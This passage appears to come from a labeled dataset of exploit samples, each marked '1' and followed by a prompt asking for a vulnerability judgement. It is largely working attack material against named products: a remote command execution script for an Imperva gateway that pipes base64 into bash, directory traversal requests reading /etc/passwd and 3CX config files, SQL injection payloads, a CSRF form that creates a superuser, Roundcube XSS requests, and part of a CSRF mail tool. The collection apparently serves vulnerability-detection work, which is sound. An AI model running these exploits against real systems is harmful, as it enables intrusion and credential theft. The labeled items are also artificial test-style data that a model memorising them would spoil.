<single<underscore>quote>test<underscore>email<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>smtp<underscore>server<single<underscore>quote>:<double<underscore>quote>Set only <single<underscore>quote>smtp<underscore>server<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>l<underscore>id<single<underscore>quote>:<double<underscore>quote>Set only <single<underscore>quote>l<underscore>id<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE><single<underscore>quote>l<underscore>pw<single<underscore>quote>:<double<underscore>quote>Set only <single<underscore>quote>l<underscore>pw<single<underscore>quote> payload<double<underscore>quote>,<NEWLINE>}<NEWLINE>def set<underscore>select (a) :<NEWLINE>if a==<double<underscore>quote>all<double<underscore>quote> : set<underscore>all()<NEWLINE>elif a==<double<underscore>quote>url<underscore>set<double<underscore>quote> : url<underscore>set()<NEWLINE>elif a==<double<underscore>quote>subject<underscore>set<double<underscore>quote> : subject<underscore>set()<NEWLINE>elif a==<double<underscore>quote>cover<underscore>message<double<underscore>quote> : cover<underscore>message()<NEWLINE>elif a==<double<underscore>quote>sender<double<underscore>quote> : sender()<NEWLINE>elif a==<double<underscore>quote>reciver<double<underscore>quote> : reciver()<NEWLINE>elif a==<double<underscore>quote>test<underscore>email<double<underscore>quote> : test<underscore>email()<NEWLINE>elif a==<double<underscore>quote>smtp<underscore>server<double<underscore>quote> : smtp<underscore>server()<NEWLINE>elif a==<double<underscore>quote>l<underscore>id<double<underscore>quote> : l<underscore>id()<NEWLINE>elif a==<double<underscore>quote>l<underscore>pw<double<underscore>quote> : l<underscore>pw()<NEWLINE>elif a==<double<underscore>quote>help<double<underscore>quote> :<NEWLINE>for i in set<underscore>help :<NEWLINE>print (<double<underscore>quote> <hyphen>%<hyphen>20s %<hyphen>s<double<underscore>quote> %(i,set<underscore>help[i]))<NEWLINE>print (<single<underscore>quote><single<underscore>quote>)<NEWLINE>while True :<NEWLINE>direct = str(input (<double<underscore>quote>CVE<hyphen>2018<hyphen>8718 >> <double<underscore>quote>)).lower()<NEWLINE>if direct == <double<underscore>quote>help<double<underscore>quote> :<NEWLINE>print (<double<underscore>quote><double<underscore>quote><double<underscore>quote><backslash><NEWLINE>%<hyphen>10s Show this help menu.<NEWLINE>%<hyphen>10s [<hyphen>all <slash> <hyphen>help <slash> <hyphen>url<underscore>set <slash> <hyphen>subject<underscore>set <slash> .... ]<NEWLINE>%<hyphen>10s Set the Payload<NEWLINE>%<hyphen>10s [<hyphen>all] Show Current Setting.<NEWLINE>%<hyphen>10s Send CSRF use current setting.<NEWLINE><double<underscore>quote><double<underscore>quote><double<underscore>quote> %(<double<underscore>quote>help<double<underscore>quote>,<double<underscore>quote>set<double<underscore>quote>,<double<underscore>quote><double<underscore>quote>,<double<underscore>quote>show<double<underscore>quote>,<double<underscore>quote>send<double<underscore>quote>))<NEWLINE>elif direct[0:3] == <double<underscore>quote>set<double<underscore>quote> :<NEWLINE>if <single<underscore>quote> <hyphen><single<underscore>quote> not in direct :<NEWLINE>if direct == <double<underscore>quote>set<double<underscore>quote> :<NEWLINE>set<underscore>option = [<double<underscore>quote>help<double<underscore>quote>]<NEWLINE>else :<NEWLINE>print (<double<underscore>quote> Option error <backslash>n<double<underscore>quote>)<NEWLINE>else :<NEWLINE>set<underscore>option = direct.split(<single<underscore>quote> <hyphen><single<underscore>quote>)[1:]<NEWLINE>okay = 1<NEWLINE>if len(set<underscore>option) == 1 :<NEWLINE>if set<underscore>option[0] not in set<underscore>help :<NEWLINE>print (<double<underscore>quote> Option error <backslash>n<double<underscore>quote>)<NEWLINE>else :<NEWLINE>set<underscore>select(set<underscore>option[0])<NEWLINE>elif len(set<underscore>option) >= 2 :<NEWLINE>for i in set<underscore>option :<NEWLINE>if i in [<single<underscore>quote>help<single<underscore>quote>, <single<underscore>quote>all<single<underscore>quote>] :<NEWLINE>print (<double<underscore>quote> *Option [<hyphen>help <slash> <hyphen>all] cannot be use with another options <backslash>n<double<underscore>quote>)<NEWLINE>okay = 0<NEWLINE>break<NEWLINE>for i in set<underscore>option :<NEWLINE>if i not in set<underscore>help :<NEWLINE>print (<double<underscore>quote> Option error <backslash>n<double<underscore>quote>)<NEWLINE>okay = 0<NEWLINE>break<NEWLINE>if okay == 1 :<NEWLINE>for i in set<underscore>option :<NEWLINE>set<underscore>select(i)<NEWLINE>elif direct[:4] == <double<underscore>quote>show<double<underscore>quote> :<NEWLINE>if <double<underscore>quote> <hyphen><double<underscore>quote> not in direct :<NEWLINE>if direct == <double<underscore>quote>show<double<underscore>quote> :<NEWLINE>for i in table :<NEWLINE>if i != <double<underscore>quote>l<underscore>pw<double<underscore>quote> :<NEWLINE>print (<double<underscore>quote> %<hyphen>20s %s<double<underscore>quote> %(i,table[i]))<NEWLINE>print (<double<underscore>quote> If you want to see l<underscore>pw... add [<hyphen>all] option<double<underscore>quote>)<NEWLINE>print (<double<underscore>quote><double<underscore>quote>)<NEWLINE>else :<NEWLINE>print (<double<underscore>quote> Option error <backslash>n<double<underscore>quote>)<NEWLINE>else :<NEWLINE>show<underscore>option = direct.split(<double<underscore>quote> <hyphen><double<underscore>quote>)[1:]<NEWLINE>if (len(show<underscore>option) == 1 and show<underscore>option[0] == <single<underscore>quote>all<single<underscore>quote>) :<NEWLINE>for i in table :<NEWLINE>print (<double<underscore>quote> %<hyphen>20s %s<double<underscore>quote> %(i,table[i]))<NEWLINE>print ()<NEWLINE>else :<NEWLINE>print (<double<underscore>quote> Option error <backslash>n<double<underscore>quote>)<NEWLINE>elif direct == <double<underscore>quote>send<double<underscore>quote> :<NEWLINE>print (<double<underscore>quote> Sending CSRF Mail.....<double<underscore>quote>)<NEWLINE>try :<NEWLINE>send<underscore>mail()<NEWLINE>print (<double<underscore>quote> Succed!!<backslash>n<double<underscore>quote>)<NEWLINE>except :<NEWLINE>print (<double<underscore>quote> Fail....<double<underscore>quote>)<NEWLINE>elif direct == <double<underscore>quote>exit<double<underscore>quote> :<NEWLINE>break<NEWLINE>else :<NEWLINE>print (<double<underscore>quote> Usage : help<backslash>n<double<underscore>quote>)
1
please judge the source code for vulnerabilities.
=<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==T==K==R==D==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>=<NEWLINE>egegen turkish script SQL Injection Vulnerability<NEWLINE>script: egegen<NEWLINE>Site script: http:<slash><slash>www.egegen.com<slash><NEWLINE>=<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==T==K==R==D==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>=<NEWLINE>Found by: FormatXFormaT<NEWLINE>contact: hun4r@yahoo.com<NEWLINE>Forum: Tkurd.com<NEWLINE>=<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==T==K==R==D==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>=<NEWLINE>Dork:<NEWLINE>;)<NEWLINE>=<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==T==K==R==D==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>=<NEWLINE>Exploit:<NEWLINE>http:<slash><slash>www.localhost.com<slash>index.php?page=urunDetay&id=[sql]<NEWLINE>http:<slash><slash>www.localhost.com<slash>index.php?page=urunDetay&id=[sql]<NEWLINE>Special Thanks: Angry<hyphen>Boy , Neo , All Tkurd Memebers.<NEWLINE>=<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==T==K==R==D==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>==<hyphen>=
1
please judge the source code for vulnerabilities.
Title:<NEWLINE>======<NEWLINE>3CX Phone System <hyphen> Authenticated Directory Traversal<NEWLINE>Author:<NEWLINE>=======<NEWLINE>Jens Regel, Schneider & Wulf EDV<hyphen>Beratung GmbH & Co. KG<NEWLINE>CVE<hyphen>ID:<NEWLINE>=======<NEWLINE>CVE<hyphen>2017<hyphen>15359<NEWLINE>Risk Information:<NEWLINE>=================<NEWLINE>CVSS Base Score: 6.8<NEWLINE>CVSS Vector: CVSS3<NEWLINE>Timeline:<NEWLINE>=========<NEWLINE>2017<hyphen>08<hyphen>08 Vulnerability discovered<NEWLINE>2017<hyphen>08<hyphen>10 Asked for security contact<NEWLINE>2017<hyphen>08<hyphen>11 Send details to the vendor<NEWLINE>2017<hyphen>09<hyphen>04 Vendor has confirmed the vulnerability, will be fixed in the next release<NEWLINE>2017<hyphen>10<hyphen>16 Public disclosure<NEWLINE>Affected Products:<NEWLINE>==================<NEWLINE>3CX Phone System 15.5.3554.1 (Debian based installation)<NEWLINE>Vendor Homepage:<NEWLINE>================<NEWLINE>https:<slash><slash>www.3cx.com<slash>phone<hyphen>system<slash>download<hyphen>links<slash><NEWLINE>Details:<NEWLINE>========<NEWLINE>In the 3CX Phone System 15.5.3554.1, the Management Console typically listens to port 5001 and is prone to a directory traversal attack:<NEWLINE><double<underscore>quote><slash>api<slash>RecordingList<slash>DownloadRecord?file=<double<underscore>quote> and <double<underscore>quote><slash>api<slash>SupportInfo?file=<double<underscore>quote> are the vulnerable parameters. An attacker must be authenticated to exploit<NEWLINE>this issue to access sensitive information to aid in subsequent attacks.<NEWLINE>The vulnerabilities were found during a penetration test.<NEWLINE>Proof of Concept:<NEWLINE>=================<NEWLINE>~$ curl <hyphen>i <hyphen>k <hyphen><hyphen>cookie <double<underscore>quote>.AspNetCore.Cookies=CfDJ8PTIw(...)<double<underscore>quote> https:<slash><slash>192.168.0.1:5001<slash>api<slash>SupportInfo?file=<slash>var<slash>lib<slash>3cxpbx<slash>Instance1<slash>Bin<slash>3CXPhoneSystem.ini<NEWLINE>HTTP<slash>1.1 200 OK<NEWLINE>Server: nginx<NEWLINE>Date: Tue, 08 Aug 2017 13:05:16 GMT<NEWLINE>Content<hyphen>Type: application<slash>octet<hyphen>stream<NEWLINE>Transfer<hyphen>Encoding: chunked<NEWLINE>Connection: keep<hyphen>alive<NEWLINE>X<hyphen>3CX<hyphen>Version: 15.5.3554.1<NEWLINE>Content<hyphen>Disposition: attachment; filename=<double<underscore>quote><slash>var<slash>lib<slash>3cxpbx<slash>Instance1<slash>Bin<slash>3CXPhoneSystem.ini<double<underscore>quote>; filename*=UTF<hyphen>8<single<underscore>quote><single<underscore>quote>%2Fvar%2Flib%2F3cxpbx%2FInstance1%2FBin%2F3CXPhoneSystem.ini<NEWLINE>X<hyphen>Frame<hyphen>Options: SAMEORIGIN<NEWLINE>Strict<hyphen>Transport<hyphen>Security: max<hyphen>age=15768000<NEWLINE>[General]<NEWLINE>;connection point to call manager<NEWLINE>;used by:<NEWLINE>;a) call manager initializes own listener before it connects to configuration server.<NEWLINE>;b) components which are working directly with call manager<NEWLINE>;MUST NOT be used by components which make connection to configuration server.<NEWLINE>;They MUST use CM<underscore>API<underscore>IP, CM<underscore>API<underscore>PORT, CM<underscore>API<underscore>USER and CM<underscore>API<underscore>PASSWORD paramaeters to make direct connection to CallManagerAPI<NEWLINE>pbxSLNIC=127.0.0.1<NEWLINE>cmPort=5482<NEWLINE>pbxuser=instance<underscore>Instance158792<NEWLINE>pbxpass=REMOVED<NEWLINE>AppPath=<slash>var<slash>lib<slash>3cxpbx<slash>Instance1<NEWLINE>AppDataPath=<slash>var<slash>lib<slash>3cxpbx<slash>Instance1<NEWLINE>Tenant=Instance1<NEWLINE>[ConfService]<NEWLINE>;connection point to configuration server for components<NEWLINE>confNIC=127.0.0.1<NEWLINE>ConfPort=5485<NEWLINE>confUser=cfguser<underscore>default<NEWLINE>confPass=REMOVED<NEWLINE>[CfgServerProfile]<NEWLINE>;configuration server connection to database<NEWLINE>;exclusively used by configuration server<NEWLINE>DBHost=127.0.0.1<NEWLINE>DBPort=5432<NEWLINE>MasterDBUser=phonesystem<NEWLINE>MasterDBPassword=REMOVED<NEWLINE>MasterTable=phonesystem<underscore>mastertable<NEWLINE>DefFile=Objects.cls<NEWLINE>[QMDatabase]<NEWLINE>DBHost=127.0.0.1<NEWLINE>DBPort=5432<NEWLINE>DBName=database<underscore>single<NEWLINE>dbUser=logsreader<underscore>single<NEWLINE>dbPassword=REMOVED<NEWLINE>[MIME<underscore>TYPES]<NEWLINE>MESSAGE=x<hyphen>chat<slash>control<NEWLINE>Fix:<NEWLINE>====<NEWLINE>Vendor has confirmed the vulnerability, will be fixed in the next release.
1
please judge the source code for vulnerabilities.
<hyphen><hyphen><hyphen><hyphen><hyphen> PoC: SQLi <hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Request:<NEWLINE>http:<slash><slash>localhost<slash>[PATH]<slash>firmalar.html?il=0&kat=&kelime=&siralama=yeni<NEWLINE>Vulnerable Parameters: il,kelime,kat (GET)<NEWLINE>Payload: 0<single<underscore>quote>XOR(if(now()=sysdate(),sleep(0),0))XOR<single<underscore>quote>Z
1
please judge the source code for vulnerabilities.
import argparse, sys, base64, json<NEWLINE>import requests<NEWLINE>from requests.packages.urllib3.exceptions import InsecureRequestWarning<NEWLINE>requests.packages.urllib3.disable<underscore>warnings(InsecureRequestWarning)<NEWLINE>parser = argparse.ArgumentParser()<NEWLINE>parser.add<underscore>argument(<double<underscore>quote><hyphen>t<double<underscore>quote>, metavar = <double<underscore>quote>target<double<underscore>quote>, help = <double<underscore>quote>Target hostname<slash>IP address<double<underscore>quote>, type = str, required = True)<NEWLINE>parser.add<underscore>argument(<double<underscore>quote><hyphen>p<double<underscore>quote>, metavar = <double<underscore>quote>password<double<underscore>quote>, help = <double<underscore>quote>Agent registration password for <single<underscore>quote>imperva<single<underscore>quote> user<double<underscore>quote>, type = str, required = False)<NEWLINE>parser.add<underscore>argument(<double<underscore>quote>cmd<double<underscore>quote>, help = <double<underscore>quote>Command to be executed on target<double<underscore>quote>, type = str)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>target<underscore>url = <double<underscore>quote>https:<slash><slash>%s<slash>pws<slash>impcli<double<underscore>quote> % (args.t)<NEWLINE>session = requests.Session()<NEWLINE>session.get(target<underscore>url, verify = False)<NEWLINE>split<underscore>mark = <double<underscore>quote>SPLIT<underscore>MARK<double<underscore>quote><NEWLINE>payload = <double<underscore>quote>$(printf %s | base64 <hyphen>d | bash)<double<underscore>quote> % (base64.b64encode(args.cmd))<NEWLINE>headers = {}<NEWLINE>if args.p is not None:<NEWLINE>headers[<double<underscore>quote>Authorization<double<underscore>quote>] = <double<underscore>quote>Basic <double<underscore>quote> + base64.b64encode(<double<underscore>quote>imperva:<double<underscore>quote> + args.p)<NEWLINE>body = {<NEWLINE><double<underscore>quote>command<double<underscore>quote>: <double<underscore>quote>impctl server status<double<underscore>quote>,<NEWLINE><double<underscore>quote>parameters<double<underscore>quote>: {<NEWLINE><double<underscore>quote>broadcast<double<underscore>quote>: True,<NEWLINE><double<underscore>quote>installer<hyphen>address<double<underscore>quote>: <double<underscore>quote>127.0.0.1 %s%s%s<double<underscore>quote> % (split<underscore>mark, payload, split<underscore>mark)<NEWLINE>}<NEWLINE>}<NEWLINE>print(<double<underscore>quote>[*] Sending payload to %s...<double<underscore>quote> % (target<underscore>url))<NEWLINE>response = session.post(target<underscore>url, headers = headers, data = json.dumps(body), verify = False)<NEWLINE>if split<underscore>mark in response.text:<NEWLINE>print(<double<underscore>quote>[*] Received command execution output:<double<underscore>quote>)<NEWLINE>print(response.text.split(split<underscore>mark)[1])<NEWLINE>elif response.status<underscore>code == requests.codes.unauthorized:<NEWLINE>print(<double<underscore>quote>[!] Gateway Authentication required, please provide agent registration password.<double<underscore>quote>)<NEWLINE>else:<NEWLINE>print(<double<underscore>quote>[!] Failed to execute command on target.<double<underscore>quote>)
1
please judge the source code for vulnerabilities.
+<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>+<NEWLINE>+ Ericsson Drutt MSDP (Instance Monitor) <hyphen> Directory Traversal Vulnerability and Arbitrary File Access +<NEWLINE>+<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>+<NEWLINE>Affected Product: Ericsson Drutt MSDP (Instance Monitor)<NEWLINE>Vendor Homepage : www.ericsson.com<NEWLINE>Version : 4, 5 and 6<NEWLINE>CVE v2 Vector : AV:N<slash>AC:L<slash>Au:N<slash>C:P<slash>I:N<slash>A:N<NEWLINE>CVE : CVE<hyphen>2015<hyphen>2166<NEWLINE>Discovered by : Anastasios Monachos (secuid0) <hyphen> [anastasiosm (at) gmail (dot) com]<NEWLINE>Patched : Yes<NEWLINE>+<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>+<NEWLINE>+ Description +<NEWLINE>+<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>+<NEWLINE>Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on<hyphen> and off<hyphen>portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.<NEWLINE>The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system.<NEWLINE>+<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>+<NEWLINE>+ Exploitation Details +<NEWLINE>+<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>+<NEWLINE>This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s):<NEWLINE>http:<slash><slash><drutt>:<port><slash>..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc<slash>passwd<NEWLINE>http:<slash><slash><drutt>:<port><slash>..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt<slash>drutt<slash>msdp<slash>manager<slash>conf<slash>props<slash>msdp<hyphen>users.properties<NEWLINE>http:<slash><slash><drutt>:<port><slash>..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f<slash>opt<slash>drutt<slash>msdp<slash>manager<slash>conf<slash>ccContext.properties<NEWLINE>+<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>+<NEWLINE>+ Disclosure Timeline +<NEWLINE>+<hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen>+<NEWLINE>17.Feb.2015 <hyphen> Contacted Ericsson http:<slash><slash>www.ericsson.com<slash>feedback<NEWLINE>24.Feb.2015 <hyphen> Ericsson responded with point of contact at Corporate Security Office<NEWLINE>24.Feb.2015 <hyphen> Contacted Corporate Security Office team<NEWLINE>02.Mar.2015 <hyphen> Ericsson Product Security Incident Response Team reverted via a secure channel<NEWLINE>02.Mar.2015 <hyphen> Shared vulnerability details<NEWLINE>06.Mar.2015 <hyphen> Ericsson confirmed the validity of the issues and started developing the patches<NEWLINE>08.Mar.2015 <hyphen> Agreed on public disclosure timelines<NEWLINE>12.Mar.2015 <hyphen> Patches released<NEWLINE>31.Mar.2015 <hyphen> Public disclosure
1
please judge the source code for vulnerabilities.
<html><NEWLINE><body><NEWLINE><form action=<double<underscore>quote>https:<slash><slash>Target<slash>cgi<hyphen>bin<slash>pl<underscore>web.cgi<slash>util<underscore>configlogin<underscore>act<double<underscore>quote> method=<double<underscore>quote>POST<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>savecrtcfg<double<underscore>quote> value=<double<underscore>quote>checked<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>username1<double<underscore>quote> value=<double<underscore>quote>root<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>enabled1<double<underscore>quote> value=<double<underscore>quote>on<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>passwd1<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>passwd<underscore>verify1<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>delete1<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>username2<double<underscore>quote> value=<double<underscore>quote>admin<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>passwd2<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>passwd<underscore>verify2<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>delete2<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>username3<double<underscore>quote> value=<double<underscore>quote>user<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>enabled3<double<underscore>quote> value=<double<underscore>quote>on<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>passwd3<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>passwd<underscore>verify3<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>delete3<double<underscore>quote> value=<double<underscore>quote><double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>username4<double<underscore>quote> value=<double<underscore>quote>h4x0r<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>enabled4<double<underscore>quote> value=<double<underscore>quote>on<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>superuser4<double<underscore>quote> value=<double<underscore>quote>on<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>passwd4<double<underscore>quote> value=<double<underscore>quote>123123<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>user<underscore>passwd<underscore>verify4<double<underscore>quote> value=<double<underscore>quote>123123<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>users<underscore>num<double<underscore>quote> value=<double<underscore>quote>4<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>page<double<underscore>quote> value=<double<underscore>quote>util<underscore>configlogin<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>val<underscore>requested<underscore>page<double<underscore>quote> value=<double<underscore>quote>user<underscore>accounts<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>savecrtcfg<double<underscore>quote> value=<double<underscore>quote>checked<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>page<underscore>uuid<double<underscore>quote> value=<double<underscore>quote>3e2774f9<hyphen>1cd3<hyphen>4d36<hyphen>a91e<hyphen>eb9e42b5ba0d<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>form<underscore>has<underscore>changed<double<underscore>quote> value=<double<underscore>quote>1<double<underscore>quote> <slash>><NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>Supersize!<double<underscore>quote> <slash>><NEWLINE><<slash>form><NEWLINE><<slash>body><NEWLINE><<slash>html>
1
please judge the source code for vulnerabilities.
POST <slash>rc<slash>?<underscore>task=settings&<underscore>action=plugin.filters<hyphen>save HTTP<slash>1.1<NEWLINE>Host: Target<NEWLINE>User<hyphen>Agent: Mozilla<slash>5.0<NEWLINE>Accept<hyphen>Language: en<hyphen>US,en;q=0.5<NEWLINE>Accept<hyphen>Encoding: gzip, deflate<NEWLINE>Content<hyphen>Type: application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded<NEWLINE>Content<hyphen>Length: 119<NEWLINE>Referer: https:<slash><slash>Target<slash>rc<slash>?<underscore>action=plugin.filters&<underscore>task=settings<NEWLINE>Cookie: roundcube<underscore>sessid=; roundcube<underscore>sessauth=<NEWLINE>Connection: close<NEWLINE>Upgrade<hyphen>Insecure<hyphen>Requests: 1<NEWLINE><underscore>token=09bcde247d252364ea55c217c7654a1f&<underscore>whatfilter=from]<script>alert(<single<underscore>quote>XSS<hyphen>1<single<underscore>quote>)<<slash>script>&<underscore>searchstring=whatever&<underscore>casesensitive=1&<underscore>folders=INBOX&<underscore>messages=all])<script>alert(<single<underscore>quote>XSS<hyphen>2<single<underscore>quote>)<<slash>script>
1
please judge the source code for vulnerabilities.
